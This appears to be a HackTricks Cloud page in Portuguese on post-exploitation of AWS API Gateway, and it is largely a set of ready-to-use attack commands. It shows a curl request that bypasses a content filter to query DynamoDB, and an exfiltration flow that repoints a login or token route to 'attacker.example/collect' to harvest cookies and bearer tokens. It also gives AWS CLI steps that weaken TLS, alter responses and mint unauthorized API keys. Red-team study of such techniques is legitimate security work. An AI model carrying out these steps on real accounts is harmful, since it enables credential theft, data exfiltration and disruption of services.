AWS - API Gateway Post Exploitation
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
API Gateway
Para mais informações, veja:
Acessar APIs não expostas
Você pode criar um endpoint em https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint com o serviço com.amazonaws.us-east-1.execute-api, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões.
Então, a partir da máquina EC2 você conseguirá acessar o endpoint e, portanto, chamar o gateway API que não estava exposto antes.
Bypass Request body passthrough
This technique was found in this CTF writeup.
Como indicado na AWS documentation na seção PassthroughBehavior, por padrão, o valor WHEN_NO_MATCH, ao verificar o cabeçalho Content-Type da requisição, encaminhará a requisição para o back end sem transformação.
Portanto, no CTF o API Gateway tinha um integration template que estava preventing the flag from being exfiltrated em uma resposta quando uma requisição era enviada com Content-Type: application/json:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
No entanto, enviar uma requisição com Content-type: text/json contornaria esse filtro.
Finalmente, como o API Gateway só permitia Get e Options, foi possível enviar uma consulta arbitrária ao dynamoDB sem qualquer limite, enviando uma requisição POST com a query no corpo e usando o cabeçalho X-HTTP-Method-Override: GET:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
Na seção Enumeration você pode ver como obter o usage plan das chaves. Se você tem a chave e ela está limitada a X usos por mês, você poderia simplesmente usá‑la e causar um DoS.
A API Key só precisa ser incluída dentro de um HTTP header chamado x-api-key.
Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)
Se você puder atualizar uma HTTP API integration, pode reapontar uma rota sensível (ex.: /login, /token, /submit) para um endpoint HTTP controlado pelo atacante e silenciosamente coletar headers e bodies (cookies, bearer tokens Authorization, session ids, API keys, secrets enviados por jobs internos, etc.).
Fluxo de exemplo:
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
Notas:
- Para HTTP APIs, as alterações geralmente entram em vigor imediatamente (ao contrário de REST APIs, onde você tipicamente precisa criar uma implantação).
- Se você pode apontar para uma URL arbitrária depende do tipo/config da integração; em alguns casos você também pode ser capaz de alterar o tipo de integração ao aplicar um patch.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
Um atacante com as permissões apigateway:UpdateGatewayResponse e apigateway:CreateDeployment pode modificar um Gateway Response existente para incluir cabeçalhos personalizados ou templates de resposta que leak informações sensíveis ou executem scripts maliciosos.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impacto Potencial: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
Note
Necessita de testes
apigateway:UpdateStage, apigateway:CreateDeployment
Um atacante com as permissões apigateway:UpdateStage e apigateway:CreateDeployment pode modificar um stage existente do API Gateway para redirecionar o tráfego para outro stage ou alterar as configurações de cache para obter acesso não autorizado aos dados em cache.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impacto Potencial: Acesso não autorizado a dados em cache, interrupção ou interceptação do tráfego da API.
Note
Precisa de testes
apigateway:PutMethodResponse, apigateway:CreateDeployment
Um atacante com as permissões apigateway:PutMethodResponse e apigateway:CreateDeployment pode modificar a resposta de um método existente do API Gateway REST API para incluir cabeçalhos personalizados ou modelos de resposta que leak informações sensíveis ou executem scripts maliciosos.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impacto Potencial: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
Note
Precisa de testes
apigateway:UpdateRestApi, apigateway:CreateDeployment
Um atacante com as permissões apigateway:UpdateRestApi e apigateway:CreateDeployment pode modificar as configurações do API Gateway REST API para desativar o logging ou alterar a versão mínima de TLS, potencialmente enfraquecendo a segurança da API.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impacto Potencial: Enfraquecimento da segurança da API, possivelmente permitindo acesso não autorizado ou expondo informações sensíveis.
Note
Necessita de testes
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
Um atacante com as permissões apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, e apigateway:CreateUsagePlanKey pode criar novas API keys, associá-las a usage plans e então usar essas chaves para acesso não autorizado às APIs.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Impacto potencial: Acesso não autorizado a recursos de API, contornando controles de segurança.
Note
Requer testes
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

